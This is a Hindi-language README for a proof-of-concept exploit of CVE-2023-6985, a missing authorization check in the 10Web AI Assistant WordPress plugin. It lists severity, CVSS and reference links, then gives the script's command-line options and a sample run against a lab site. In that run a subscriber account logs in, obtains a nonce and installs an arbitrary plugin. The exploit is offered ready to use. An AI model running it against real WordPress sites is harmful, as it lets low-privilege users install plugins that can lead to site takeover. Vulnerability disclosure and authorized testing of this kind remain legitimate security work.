गंभीरता: मध्यम
CVE ID: CVE-2023-6985
CVSS स्कोर: 6.5
CVSS मीट्रिक्स: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
प्लगइन स्लग: ai-assistant-by-10web
WPScan URL: https://www.wpscan.com/plugin/ai-assistant-by-10web
संदर्भ URL: https://www.wordfence.com/threat-intel/vulnerabilities/id/229245a5-468d-47b9-8f26-d23d593e91da
अंतर URL: https://plugins.trac.wordpress.org/changeset/3027004/ai-assistant-by-10web/trunk/ai-assistant-by-10web.php
डाउनलोड करें: https://downloads.wordpress.org/plugin/ai-assistant-by-10web.1.0.18.zip

python3 CVE-2023-6985.py -h
usage: CVE-2023-6985.py [-h] --url URL --username USERNAME --password PASSWORD --slug SLUG --php PHP

10Web AI Assistant – AI लेखन सहायक <= 1.0.18 - प्रमाणित (सब्सक्राइबर+) उपयोगकर्ताओं के लिए अनधिकृत प्लगइन इंस्टॉलेशन/सक्रियण के लिए प्राधिकरण की कमी CVE-2023-6985 - WordPress के लिए 10Web AI Assistant – AI लेखन सहायक प्लगइन में, संस्करण 1.0.18 तक और सहित सभी संस्करणों में, `install_plugin` AJAX क्रिया पर एक गुम क्षमता जांच के कारण डेटा में अनधिकृत संशोधन की संभावना है। यह प्रमाणित हमलावरों के लिए, सब्सक्राइबर-स्तरीय पहुंच और ऊपर के साथ, मनमाने प्लगइन्स स्थापित करना संभव बनाता है जिनका उपयोग समझौता किए गए साइट तक और पहुंच प्राप्त करने के लिए किया जा सकता है।

विकल्प:
  -h, --help           यह सहायता संदेश दिखाएं और बाहर निकलें
  --url URL            WordPress साइट का URL
  --username USERNAME  WordPress उपयोगकर्ता नाम
  --password PASSWORD  WordPress पासवर्ड
  --slug SLUG          WordPress प्लगइन स्लग
  --php PHP            WordPress प्लगइन PHP फ़ाइल

python3 CVE-2023-6985.py --url http://wordpress.lan --username user --password useruser1 --slug display-php-version --php display-php-version.php
सफलतापूर्वक लॉग इन किया गया।
REST API नॉन्स प्राप्त हो रहा है!
नॉन्स मिला: df8390ff4b
प्लगइन स्थापित किया जा रहा है
https://downloads.wordpress.org/plugin/display-php-version.latest-stable.zip से इंस्टॉलेशन पैकेज डाउनलोड किया जा रहा है
पैकेज अनज़िप किया जा रहा है
प्लगइन स्थापित किया जा रहा है
प्लगइन सफलतापूर्वक स्थापित हुआ।
{"success":true}